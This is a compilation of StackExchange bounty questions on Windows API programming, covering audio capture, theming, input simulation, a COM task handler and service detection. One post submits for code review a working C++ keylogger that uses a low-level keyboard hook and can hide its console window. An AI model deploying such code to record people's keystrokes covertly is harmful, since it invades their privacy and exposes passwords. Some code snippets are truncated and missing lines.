#StackBounty: #winapi #audio #hook #reverse-engineering How does Discord hook into a specific process's audio?

Bounty: 100

Going through Google search results, there is no widely known way to capture audio from a specific application on Microsoft Windows, at least without having to resort to workarounds such as sending audio from one process to a separate virtual audio loopback device (which however results in an inability to hear the sound, unless you either use a hardware loopback playback device or "listen" to the emulated input via the main output).

These workarounds are clunky, require configuration for each specific application and software will often misbehave, no longer successfully make any sound or straight-up stop working if their output device is changed during execution. Meanwhile, launching a Discord "Live Streaming" session allows you to easily, without failure, share a single application’s sound with a VoIP group call. Sound from other application is completely removed. Looking at audio devices, it appears that no virtual loopback routing is taking place, and there is absolutely zero interruption in audio playback on the client side. The functionality isn’t available on the macOS or Linux versions of the software, only on Windows. Capturing sound from a specific process is thus possible in Win32, but why isn’t anyone else doing this? What would it take, say, to implement something like this in a fork of software where such functionality would be extremely useful, like OBS or Audacity?

Get this bounty!!!

#StackBounty: #c++ #windows #winapi #windows-themes #uxtheme UXTheme: Draw Combobox Chevron Without Border

Bounty: 250

I’m trying to draw a custom control that should use the "combobox" theme class.


m_hTheme = OpenThemeData(m_hWnd, _T("COMBOBOX"));
auto stateBG = ...; // depends on window state
DrawThemeBackground(m_hTheme, ps.hdc, CP_READONLY, stateBG, &clientRect, nullptr);

gives the correct background (read-only-look) without the chevron. But how do I add the chevron?

auto stateCV = ...; // depends on window state
DrawThemeBackground(m_hTheme, ps.hdc, CP_DROPDOWNBUTTON, stateCV, &rect, nullptr);

draws the chevron correctly, but with its own border and the chevron centered within the rect. So if I use the full client rect, I get this:

combobox centered chevron

If I use a smaller rect so that the chevron is positioned correctly, I get a separated dropdown:

combobox boxed chevron

How do I get the "normal" look? – i.e like this:

enter image description here

Bonus Questions:

Is there any documentation that does a better job than MSDN? It’s as sparse as most newer documentation, e.g. just listing "Parts and States", without describing their purpose (which is not always obvious), and whether it’s DrawThemeBackground or ~Edgefor a particular item.

Do I still use the good old DrawFocusRectfor the focus rect?

GetThemeBackgroundContentRect calculates the expected rectable for iPartId=CP_READONLY, but for iPartId=CP_CUEBANNER, it returns the full client rectangle, so the cue text is badly aligned. Is this… normal?

Get this bounty!!!

#StackBounty: #c++ #winapi #audio #ioctl Send audio data from usermode to Sysvad (virtual audio driver) use IOCTL

Bounty: 100

In my application(usermode), i receive audio data and save it use function:

VOID CSoundRecDlg::ProcessHeader(WAVEHDR * pHdr)
    MMRESULT mRes=0;
    if(WHDR_DONE==(WHDR_DONE &pHdr->dwFlags))
            StoreError(mRes,TRUE,"File: %s ,Line Number:%d",__FILE__,__LINE__);

pHdr Pointer points to the audio data(byte[11025])
How to I can get this data in sysvad using IOCTL. Thanks for help.

Get this bounty!!!

#StackBounty: #windows #winapi #processor #cpuid In which cases GetSystemInfo/GetLogicalProcessorInformationEx returns different proces…

Bounty: 100

There are Windows API functions to obtain CPU and CPU Cache topology.

GetSystemInfo fills SYSTEM_INFO with dwActiveProcessorMask and dwNumberOfProcessors.

GetLogicalProcessorInformationEx can be used to have more precise information about each processor, like cache size, cache line size, cache associativity, etc. Some of this information can be obtained by _cpuidex as well.

I’m asking in which cases the obtained values for one call are not consistent with obtained values for another call, if both calls are made without program restart.

Specifically, can CPU count change:

  • Should user hibernate, install new processor, and wake the system? Or even this wouldn’t work?
  • Or operating system / hardware can just dynamically decide to plug in another processor?
  • Or it can be achieved with virtual machines, but not on real hardware?

Can cache line size and cache size change:

  • For GetLogicalProcessorInformationEx, because processor is replaced at runtime
  • For _cpuid just because system contains processors with different cache properties, and subsequent calls are on a different processor

The practical reason for these questions is that I want to obtain this information only once, and cache it:

  • I’m going to use it for allocator tuning, so changing allocation strategy for already allocated memory is likely to cause memory corruption.
  • These function may be expensive, they may be kernel calls, which I want to avoid

Get this bounty!!!

#StackBounty: #c# #winapi #ui-automation #user32 Click Button in Toolbar of Other Program

Bounty: 200

I’m trying to automate some stuff on a legacy application that I don’t have the source to. So I’m essentially trying to use the Windows API to click the buttons I’ll need on it.

There is a toolbar of type msvb_lib_toolbar that looks like this:


I can get a handle to it (I think) by using this code:

IntPtr window = FindWindow("ThunderRT6FormDC", "redacted");
IntPtr bar = FindWindowEx(window, IntPtr.Zero,"msvb_lib_toolbar",null);

Looking at the docs, it seems I should be able to use SendMessage and the TB_PRESSBUTTON message to click these buttons:

public static extern int SendMessage(int hWnd, uint Msg, int wParam, int lParam);

However, I’m not sure how to go about setting the wParam and lParam to click the wanted button on the bar. The documentation doesn’t seem to be helping much either.

Could you please advise?

Based on comments, I’ve also tried UIAutomation. I can locate the toolbar using the following code:

AutomationElement mainWindow = AutomationElement.RootElement.FindFirst(TreeScope.Children, new PropertyCondition(AutomationElement.NameProperty, "Migration Expert"));
AutomationElement toolbar = mainWindow.FindFirst(TreeScope.Subtree, new PropertyCondition(AutomationElement.ClassNameProperty, "msvb_lib_toolbar"));

But from here, I’m not sure what to do as Spy++ shows no further children of this object:


Loking at the Current property of this AutomationElement I can’t seen anything jumping out at me but the BoundingRectangle does seem to indicate that I’ve found the right element.


Using inspector.exe also doesn’t indicate any children on the toolbar.


Get this bounty!!!

#StackBounty: #c# #.net #winapi #input #sendkeys SendKeys with games: with some characters it works, but with some it doesn't

Bounty: 50

I want to simulate input in games with SendKeys, but I have a hard time.

If I use it with i.e. the letter T, while the cursor in Minecraft is in a textbox (in the main menu), it works, the letter T is written in the textbox.

But with {ESC} it doesn’t work. Nothing happens. If I press it manually, it backs to the previous menu. (as it should)

With some applications ESC works:

  • It works with Discord, Sourcetree, Slack, Chrome, CS2D,

  • but for some reason it doesn’t work with Minecraft, Spelunky, Half-Life.

All of the applications mentioned above were in windowed mode.

Another issue:

  • If I send 2 to Minecraft while in a text field, it works correctly, 2 is written.
  • But if I send it while I’m playing, there is no effect. (The character should switch to Item Slot #2)

  • Same with ” ” (whitespace). In text fields it works, but the character won’t jump in the game.


    [DllImport("USER32.DLL", CharSet = CharSet.Unicode)]
    public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);

    public static extern bool SetForegroundWindow(IntPtr hWnd);

    public Form1()
        IntPtr minecraftHandle = FindWindow("GLFW30", "Minecraft* 1.15.2");

        if (minecraftHandle == IntPtr.Zero)
            MessageBox.Show("Minecraft is not running.");


I tried it without focus switching: by assigning the SendKey calls to a hotkey, so the target application can be in focus when the SendKeys are called.

The results are the same :

Get this bounty!!!

#StackBounty: #c #winapi Small C project: recording mouse/keyboard bot software

Bounty: 100

This is, kind of, my first programming project. It’s a small project to complete first year’s university programming course.

The program allows the user to record his mouse/keyboard/cursor activities and then replay it. It’s a mini-bot.

I am unsure whether I will continue developing this project, or abandon C and go learn some OOP or web. Either way, I would really love to know what kind of mistakes I made.

Particularly: do you see something that hurts your eyes, some bad practices, terrible naming, some unreadable code?

Short video demonstration: https://streamable.com/7qcb3

Project’s code: https://github.com/Wenox/WinAuto

The menu.c file was written in a rush, so you’re likely to find the ugliest code in there. I am mostly interested about menu.c, smooth_cursor.c, replay.c, recording.c files.

I’ve got a small review and this code is vulnerable:

printf("Save recording as (i.e: myrecording.txt):n");
char file_name[64];
scanf("%s", file_name);

(I will probably replace scanf with fgets combined with sscanf).

Other than that, now that I am looking at my code I probably could have used typedef on the struct. Heard that it’s a bad practice, though.

I am not sure if I should remove the large, ugly comments from the .h files or not.

The program is launched from main like this:

int main(int argc, char **argv)
    struct f_queue *headptr = NULL;
    struct f_queue *tailptr = NULL;

    if (!h_switch_invoked(argc, argv))
        init_menu(headptr, tailptr, 0, 0);
        init_menu(headptr, tailptr, 7, 0);

    return 0;

Here is menu.c file that I am particularly interested in. I’ve written it in a rush and never wrote “menu” before. So I came up with an idea to make it recursive, with helping enum:

bool h_switch_invoked(int argc, char **argv)
    if (argc > 1)
        if (0 == strcmp(argv[1], "-h"))
            return true;

    return false;

/** Enum containing various menu flags used to determine which <b>printf</b> should be displayed to the user, based on earlier program behaviour. */
enum menu_flags {               ///< start of definition
    NO_ERRORS,                  ///< default
    ERROR_NO_TXT_SUFFIX,        ///< when user forgot to input the .txt postfix
    ERROR_READING_FILE,         ///< when file was corrupted, does not exist or cannot be opened
    SAVED_HOTKEY,               ///< when the hotkey has been successfully saved
    SAVED_FILE,                 ///< when the file saved successfully
    STOPPED_PLAYBACK,           ///< when the recording playback successfully ended
    STOPPED_SCREENSAVER,        ///< when the screensaver has been successfully stopped
    HELP_SWITCH                 ///< when program was ran with '-h' switch

void draw_menu(const int flag_id)

    switch (flag_id) {
        case 0:
        case 1:
            printf("ERROR: File name must end with .txt suffixnn");
        case 2:
            printf("ERROR: No such file or file is corruptednn");
        case 3:
            printf("Hotkey set successfullynn");
        case 4:
            printf("Recording saved successfullynn");
        case 5:
            printf("Playback finished or interruptednn");
        case 6:
            printf("Welcome backnn");
        case 7:
        default: // do nothing

    printf("Press 1 to set global hotkey (DEFAULT HOTKEY: F5)n");
    printf("Press 2 to create new recordingn");
    printf("Press 3 to play recordingn");
    printf("Press 4 to start screensavern");
    printf("Press 5 to exitn");

int get_menu_choice(void)
    int choice = 0;

    while (choice < 1 || choice > 5)
        if (1 != scanf("%d", &choice))
            fseek(stdin, 0, SEEK_END);

    return choice;

int get_hotkey(void)
    printf("Set hotkey: n");
    int hotkey = 0;

    while (hotkey == 0 ||
           hotkey == KEY_RETURN ||
           hotkey == KEY_LMB ||
           hotkey == KEY_RMB ||
           hotkey == KEY_F5) {
                hotkey = get_keystroke();

    return hotkey;

bool str_ends_with(const char *source, const char *suffix)
    int source_len = strlen(source);
    int suffix_len = strlen(suffix);

    return (source_len >= suffix_len) && (0 == strcmp(source + (source_len - suffix_len), suffix));

int get_cycles_num(void)
    printf("How many playing cycles? (>5 to play infinitely, default 1):n");
    int cycles_num = 1;

    if (1 != scanf("%d", &cycles_num) || cycles_num <= 0) {
        fseek(stdin, 0, SEEK_END);

    return cycles_num;

void exec_play_recording(struct f_queue *head, struct f_queue *tail, const int cycles_num, const int hotkey_id)
    printf("Playing recording...n");
    printf("Press your hotkey to stopn");

    if (cycles_num > 5) {
        make_queue_cyclic(head, tail);
        play_recording(tail, hotkey_id);
        unmake_queue_cyclic(head, tail);

    for (int i = 0; i < cycles_num; i++)
        play_recording(tail, hotkey_id);

void init_menu(struct f_queue *head, struct f_queue *tail, const int flag_id, const int hotkey_id); ///< cyclic dependency

void chosen_recording(struct f_queue *head, struct f_queue *tail, const int hotkey_id)
    printf("Save recording as (i.e: myrecording.txt):n");
    char file_name[64];
    scanf("%s", file_name);

    if (str_ends_with(file_name, ".txt")) {
        record(&head, &tail, 10, hotkey_id);
        save_recording(tail, file_name);
        free_recording(&head, &tail);
        init_menu(head, tail, SAVED_FILE, hotkey_id);
        init_menu(head, tail, ERROR_NO_TXT_SUFFIX, hotkey_id);

void chosen_playback(struct f_queue *head, struct f_queue *tail, const int hotkey_id)
    printf("Type in file name of your recording (i.e: myfile.txt):n");
    char file_name[64];
    scanf("%s", file_name);

    if (load_recording(&head, &tail, file_name)) {
        int cycles_num = get_cycles_num();
        exec_play_recording(head, tail, cycles_num, hotkey_id);
        free_recording(&head, &tail);
        init_menu(head, tail, STOPPED_PLAYBACK, hotkey_id);
    else { // error when reading file
        free_recording(&head, &tail);
        init_menu(head, tail, ERROR_READING_FILE, hotkey_id);

void init_menu(struct f_queue *head, struct f_queue *tail, const int flag_id, const int hotkey_id)

    int choice = get_menu_choice();
    static int hotkey = KEY_F5; /// default hotkey

    switch(choice) {
        case 1:
            hotkey = get_hotkey();
            init_menu(head, tail, SAVED_HOTKEY, hotkey);
        case 2:
            chosen_recording(head, tail, hotkey);
        case 3:
            chosen_playback(head, tail, hotkey);
        case 4:
            init_menu(head, tail, STOPPED_SCREENSAVER, hotkey);
        case 5:
        default: // do nothing

Here’s recording “engine” from recording.c:

void record(struct f_queue **head, struct f_queue **tail, const int sleep_dur, const int hotkey_id)
    int key_buff[2] = {-1, -1};                     ///< buffer for curr and prev pressed key
    POINT cursor_buff[2] = {{-1, -1}, {-1, -1}};    ///< buffer for curr and prev cursor position

    printf("RECORDING...n[press your hotkey to stop]n");
    while(key_buff[1] != hotkey_id) {             ///< stop recording when 'hotkey' is pressed
        add_cursor(head, tail, cursor_buff);
        add_keystroke(head, tail, key_buff);
        add_sleep(head, tail, sleep_dur);

and replay “engine” from replay.c:

void play_recording(struct f_queue *tail, const int hotkey_id)
    while (tail) {
        if (check_key(hotkey_id))

        if (tail->f_type == _GETCURSOR)
            SetCursorPos(tail->f_args[0], tail->f_args[1]);     ///< Simulates cursor's position
        else if (tail->f_type == _GETKEY)
            send_input(tail->f_args[0]);                        ///< Simulates keystroke
        else if (tail->f_type == _SLEEP)
            Sleep(tail->f_args[0]);                             ///< Simulates waiting interval in between keystrokes and/or cursor's movements

        tail = tail->prev;

I am in need of all kinds of criticism, and for that I am grateful. Thanks.

Get this bounty!!!

#StackBounty: #c++ #winapi #com #taskscheduler Trying to implement a task scheduler COM handler

Bounty: 100

The prototype of ITaskHandler::Start is the following:

            __RPC__in ITaskHandler * This,
            /* [in] */ __RPC__in_opt IUnknown *pHandlerServices,
            /* [in] */ __RPC__in BSTR data)

How come pHandlerServices is optional – and if I get a NULL (as it’s my case) – how can I notify the task scheduler that I’ve completed the task.

OK – here is the deal I implemented QueryInterface of the class to always return the same object thinking – ITaskHandler will immediately be queried. However this wasn’t the case – the first query was for IClassFactory and the function signature of CreateInstance had the second parameter pUnkOuter NULL which overlaps with the second parameter of my implementation of ITaskHandler_Start. Nevertheless it’s weird that pHandlerServices is marked as optional.

Here is my current implementation of the handler which is still not working (the last run result is No such interface supported (0x80004002)) – my interface ITaskHandler is never queried for. I even went so far implementing ICallFactory but alias with no luck (CreateCall is never called) – here is the code:

#include <windows.h>
#include <objbase.h>
#include <unknwn.h>

    // {179D1704-49C5-4111-B3CF-C528ABB014D0}
0x179d1704, 0x49c5, 0x4111, 0xb3, 0xcf, 0xc5, 0x28, 0xab, 0xb0, 0x14, 0xd0);

#define wstringCLSID_IRmouseHandler L"{179D1704-49C5-4111-B3CF-C528ABB014D0}"
static const GUID CLSID_IRmouseHandler = 
{ 0x179d1704, 0x49c5, 0x4111, { 0xb3, 0xcf, 0xc5, 0x28, 0xab, 0xb0, 0x14, 0xd0 } };

// {D363EF80-5C42-46D8-847B-B3A27A3BD0E3}
0xd363ef80, 0x5c42, 0x46d8, 0x84, 0x7b, 0xb3, 0xa2, 0x7a, 0x3b, 0xd0, 0xe3);

static const GUID IID_IRmouseHandler = 
{ 0xd363ef80, 0x5c42, 0x46d8, { 0x84, 0x7b, 0xb3, 0xa2, 0x7a, 0x3b, 0xd0, 0xe3 } };

#include <taskschd.h>

#include <ObjIdl.h>

#define stub(x)

        "ITaskHandler_" #x,
        "Account Details",

extern ITaskHandler tskhandler; extern IClassFactory factory; extern ICallFactory callfactory;


            IClassFactory * This,
            /* [annotation][unique][in] */ 
            _In_opt_  IUnknown *pUnkOuter,
            /* [annotation][in] */ 
            _In_  REFIID riid,
            /* [annotation][iid_is][out] */ 
            _COM_Outptr_  void **ppvObject) { return QueryInterface(This, riid, ppvObject);}

            __RPC__in ITaskHandler * This,
            /* [in] */ __RPC__in REFIID riid,
            /* [annotation][iid_is][out] */ 
            _COM_Outptr_  void **ppvObject) {
    if(!ppvObject) return E_POINTER;
    if(!memcmp(riid, &IID_ITaskHandler, sizeof *riid) || !memcmp(riid, &IID_IUnknown, sizeof *riid))*ppvObject = &tskhandler;
    else if(!memcmp(riid, &IID_ICallFactory, sizeof *riid))*ppvObject = &callfactory;
    else if(!memcmp(riid, &IID_IClassFactory, sizeof *riid))*ppvObject = &factory;
    else return E_NOINTERFACE;
    return S_OK;}

            __RPC__in ITaskHandler * This,
            /* [in] */ __RPC__in_opt IUnknown *pHandlerServices,
            /* [in] */ __RPC__in BSTR data) {ITaskHandlerStatus *pHandlerStatus;
            ITaskHandlerStatus_TaskCompleted(pHandlerStatus,S_OK);return S_OK;}

ITaskHandler tskhandler = {.lpVtbl = &(struct ITaskHandlerVtbl){.QueryInterface=QueryInterface,.Resume=Resume,

IClassFactory factory = {.lpVtbl = &(struct IClassFactoryVtbl){.QueryInterface=QueryInterface,

ICallFactory callfactory = {.lpVtbl = &(struct ICallFactoryVtbl){.QueryInterface=QueryInterface,

int WinMain(
  HINSTANCE hInstance,
  HINSTANCE hPrevInstance,
  LPSTR     lpCmdLine,
  int       nShowCmd
) { DWORD dwToken; //AddVectoredExceptionHandler(1,PvectoredExceptionHandler);
    CoInitializeEx(NULL,0), CoRegisterClassObject(&CLSID_IRmouseHandler,&tskhandler,CLSCTX_LOCAL_SERVER,REGCLS_MULTIPLEUSE,&dwToken),Sleep(INFINITE);}

Get this bounty!!!

#StackBounty: #c++ #beginner #event-handling #windows #winapi Windows keylogger in C++

Bounty: 50

Windows keylogger in C++

Known issues:

  1. Not implementing rule of five
  2. Having to use hack to use member variables, out_, in static method
  3. Pressing caps-lock won’t capitalize letters (I will fix this later)


#pragma once
#include <string>
#include <Windows.h>

class keylogger
    keylogger(std::ostream* out);

    void run() const;
    void hide_window() const;
    void show_window() const;
    void hook();
    void unhook() const;

    static LRESULT CALLBACK hook_process(int code, WPARAM wparam, LPARAM lparam);
    static keylogger* this_;

    HHOOK hhok_;
    std::ostream* out_;


#include "keylogger.h"

keylogger* keylogger::this_ = NULL;

keylogger::keylogger(std::ostream* out)
    : out_(out)
    this_ = this;


void keylogger::run() const
    MSG msg = { 0 };
    while (GetMessage(&msg, NULL, 0, 0) > 0)

void keylogger::hide_window() const
    ShowWindow(GetConsoleWindow(), SW_HIDE);

void keylogger::show_window() const
    ShowWindow(GetConsoleWindow(), SW_SHOW);

void keylogger::hook()
    hhok_ = SetWindowsHookEx(WH_KEYBOARD_LL, hook_process, NULL, 0);

void keylogger::unhook() const

LRESULT CALLBACK keylogger::hook_process(int code, WPARAM wparam, LPARAM lparam)
    if (code == HC_ACTION)
        std::string key;
        if (wparam == WM_KEYDOWN || wparam == WM_SYSKEYDOWN)
            bool shift_down = GetAsyncKeyState(VK_SHIFT);
            switch (kbs->vkCode)
            case 0x08: key = "[BACKSPACE]"; break;
            case 0x09: key = "[TAB]";       break;
            case 0x0D: key = "[NEWLINE]";   break;
            case 0x13: key = "[PAUSE]";     break;
            case 0x14: key = "[CAPS LOCK]"; break;
            case 0x20: key = "[SPACE]";     break;
            case 0x25: key = "[LEFT]";      break;
            case 0x26: key = "[UP]";        break;
            case 0x27: key = "[RIGHT]";     break;
            case 0x28: key = "[DOWN]";      break;
            case 0x2E: key = "[DELETE]";    break;
            case 0x30: (!shift_down) ? key = "0" : key = ")";   break;
            case 0x31: (!shift_down) ? key = "1" : key = "!";   break;
            case 0x32: (!shift_down) ? key = "2" : key = "@";   break;
            case 0x33: (!shift_down) ? key = "3" : key = "#";   break;
            case 0x34: (!shift_down) ? key = "4" : key = "$";   break;
            case 0x35: (!shift_down) ? key = "5" : key = "%";   break;
            case 0x36: (!shift_down) ? key = "6" : key = "^";   break;
            case 0x37: (!shift_down) ? key = "7" : key = "&";   break;
            case 0x38: (!shift_down) ? key = "8" : key = "*";   break;
            case 0x39: (!shift_down) ? key = "9" : key = "(";   break;
            case 0x41: (!shift_down) ? key = "a" : key = "A";   break;
            case 0x42: (!shift_down) ? key = "b" : key = "B";   break;
            case 0x43: (!shift_down) ? key = "c" : key = "C";   break;
            case 0x44: (!shift_down) ? key = "d" : key = "D";   break;
            case 0x45: (!shift_down) ? key = "e" : key = "E";   break;
            case 0x46: (!shift_down) ? key = "f" : key = "F";   break;
            case 0x47: (!shift_down) ? key = "g" : key = "G";   break;
            case 0x48: (!shift_down) ? key = "h" : key = "H";   break;
            case 0x49: (!shift_down) ? key = "i" : key = "I";   break;
            case 0x4A: (!shift_down) ? key = "j" : key = "J";   break;
            case 0x4B: (!shift_down) ? key = "k" : key = "K";   break;
            case 0x4C: (!shift_down) ? key = "l" : key = "L";   break;
            case 0x4D: (!shift_down) ? key = "m" : key = "M";   break;
            case 0x4E: (!shift_down) ? key = "n" : key = "N";   break;
            case 0x4F: (!shift_down) ? key = "o" : key = "O";   break;
            case 0x50: (!shift_down) ? key = "p" : key = "P";   break;
            case 0x51: (!shift_down) ? key = "q" : key = "Q";   break;
            case 0x52: (!shift_down) ? key = "r" : key = "R";   break;
            case 0x53: (!shift_down) ? key = "s" : key = "S";   break;
            case 0x54: (!shift_down) ? key = "t" : key = "T";   break;
            case 0x55: (!shift_down) ? key = "u" : key = "U";   break;
            case 0x56: (!shift_down) ? key = "v" : key = "V";   break;
            case 0x57: (!shift_down) ? key = "w" : key = "W";   break;
            case 0x58: (!shift_down) ? key = "x" : key = "X";   break;
            case 0x59: (!shift_down) ? key = "y" : key = "Y";   break;
            case 0x5A: (!shift_down) ? key = "z" : key = "Z";   break;
            case 0x60: (!shift_down) ? key = "0" : key = "0";   break;
            case 0x61: (!shift_down) ? key = "1" : key = "1";   break;
            case 0x62: (!shift_down) ? key = "2" : key = "2";   break;
            case 0x63: (!shift_down) ? key = "3" : key = "3";   break;
            case 0x64: (!shift_down) ? key = "4" : key = "4";   break;
            case 0x65: (!shift_down) ? key = "5" : key = "5";   break;
            case 0x66: (!shift_down) ? key = "6" : key = "6";   break;
            case 0x67: (!shift_down) ? key = "7" : key = "7";   break;
            case 0x68: (!shift_down) ? key = "8" : key = "8";   break;
            case 0x69: (!shift_down) ? key = "9" : key = "9";   break;
            case 0x6A: (!shift_down) ? key = "*" : key = "*";   break;
            case 0x6B: (!shift_down) ? key = "+" : key = "+";   break;
            case 0x6D: (!shift_down) ? key = "-" : key = "-";   break;
            case 0x6E: (!shift_down) ? key = "." : key = ".";   break;
            case 0x6F: (!shift_down) ? key = "/" : key = "/";   break;
            case 0xBA: (!shift_down) ? key = ";" : key = ":";   break;
            case 0xBB: (!shift_down) ? key = "=" : key = "+";   break;
            case 0xBC: (!shift_down) ? key = "," : key = "<";   break;
            case 0xBD: (!shift_down) ? key = "-" : key = "_";   break;
            case 0xBE: (!shift_down) ? key = "." : key = ">";   break;
            case 0xBF: (!shift_down) ? key = "/" : key = "?";   break;
            case 0xC0: (!shift_down) ? key = "`" : key = "~";   break;
            case 0xDB: (!shift_down) ? key = "[" : key = "{";   break;
            case 0xDC: (!shift_down) ? key = "\" : key = "|";  break;
            case 0xDD: (!shift_down) ? key = "]" : key = "}";   break;
            case 0xDE: (!shift_down) ? key = "'" : key = """;  break;
        *(this_->out_) << key;
    return CallNextHookEx(NULL, code, wparam, lparam);

Get this bounty!!!

#StackBounty: #c++ #winapi #windows-services How to check that the current process is running as Windows Service using WinAPI functions?

Bounty: 50

I have a program that can be run as a simple console application or can be registered as Windows Service. I want to detect in main() function the current running context:

#include <windows.h>

BOOL IsWindowsService()

int main(int argc, char** argv)
    if (IsWindowsService())
        // Running as Windows Service...

    // Running as console application...    
    return 0;

Can you help me with a possible implementation of IsWindowsService() function?

Get this bounty!!!